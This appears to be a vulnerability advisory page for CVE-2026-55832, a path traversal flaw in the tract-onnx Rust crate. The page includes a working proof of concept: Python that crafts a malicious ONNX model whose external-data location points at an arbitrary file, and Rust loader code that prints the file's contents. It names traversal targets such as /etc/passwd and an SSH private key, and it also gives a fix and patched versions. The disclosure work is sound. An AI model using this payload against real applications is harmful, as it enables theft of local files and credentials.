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tract-onnx CVE-2026-55832

MEDIUM
Path Traversal (CWE-22)
2026-06-19 https://github.com/sonos/tract GHSA-h668-6x6g-f8r5
6.1
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
6.1 MEDIUM
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
vuln.today AI
7.1 HIGH

AV:N because the malicious model is delivered over the internet (model hubs); UI:R because the victim must load it; no write or code execution impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
Low

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 19, 2026 - 15:54 vuln.today
Analysis Generated
Jun 19, 2026 - 15:54 vuln.today

DescriptionGitHub Advisory

Summary

tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.

Details

In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:

rust
let location = /* tensor.external_data "location" value - attacker-controlled */;
let p = PathBuf::from(path).join(location);          // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?;   // Mmap::map(File::open(p)) by default
  • Path::join with an absolute location (e.g. /etc/passwd) discards the base directory → p = /etc/passwd.
  • A relative ../../../../etc/passwd value is not normalized → directory traversal.
  • The default MmapDataResolver (onnx/src/data_resolver.rs) then mmaps the file and copies mmap[offset..offset+length] into the tensor. offset/length are also taken from the file; an out-of-range slice panics (DoS).

No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).

Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir)get_external_resources(.., model_dir).

PoC

Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.

  1. A canary file the model must not be able to read:

/tmp/tract_canary_secret.txtTRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b

  1. Build a small evil.onnx with a UINT8[37] initializer whose external_data is location=/tmp/tract_canary_secret.txt (absolute), offset=0, length=37, fed through Identity to the output (raw protobuf serialization):
python
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt"
# absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
    e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())
  1. Victim loads the untrusted model with the standard API:
rust
let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));

Output:

"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"

i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.

Impact

Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.

Suggested fix

Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.

AnalysisAI

Arbitrary local file disclosure in the Rust crate tract-onnx (by Sonos) allows an attacker who supplies a malicious ONNX model file to read arbitrary files from the victim's filesystem at model-load time, with file contents surfaced directly in inference tensor output. The root cause is that get_external_resources() in onnx/src/tensor.rs passes the attacker-controlled location field of ONNX external-data tensors directly to PathBuf::join() without sanitization, enabling both absolute-path overrides and relative ../ traversal. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft evil.onnx with absolute/traversal location field
Delivery
Distribute via model hub or upload endpoint
Exploit
Victim loads model via model_for_path()
Execution
PathBuf::join() resolves to target file path
Persist
MmapDataResolver reads and copies file bytes into tensor
Impact
Attacker recovers file contents from inference output

Vulnerability AssessmentAI

Exploitation Exploitation requires that an application calls `tract_onnx::onnx().model_for_path()` (or equivalent API) on an attacker-controlled or attacker-influenced ONNX model file. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Despite a moderate CVSS base score of 6.1 (AV:L/AC:L/PR:N/UI:R), the real-world risk is materially higher in the primary threat model of this crate. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker publishes a malicious ONNX model (evil.onnx) to a public model hub or submits it as a user upload to a platform using tract-onnx for inference. The model contains a UINT8 tensor whose `external_data.location` is set to `/etc/passwd` (absolute path override) or `../../../../home/user/.ssh/id_rsa` (directory traversal). …
Remediation Upgrade tract-onnx to a patched release: 0.21.17 for the 0.21.x line, 0.22.3 for the 0.22.x line, or 0.23.2 for the 0.23.x line. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-55832 vulnerability details – vuln.today

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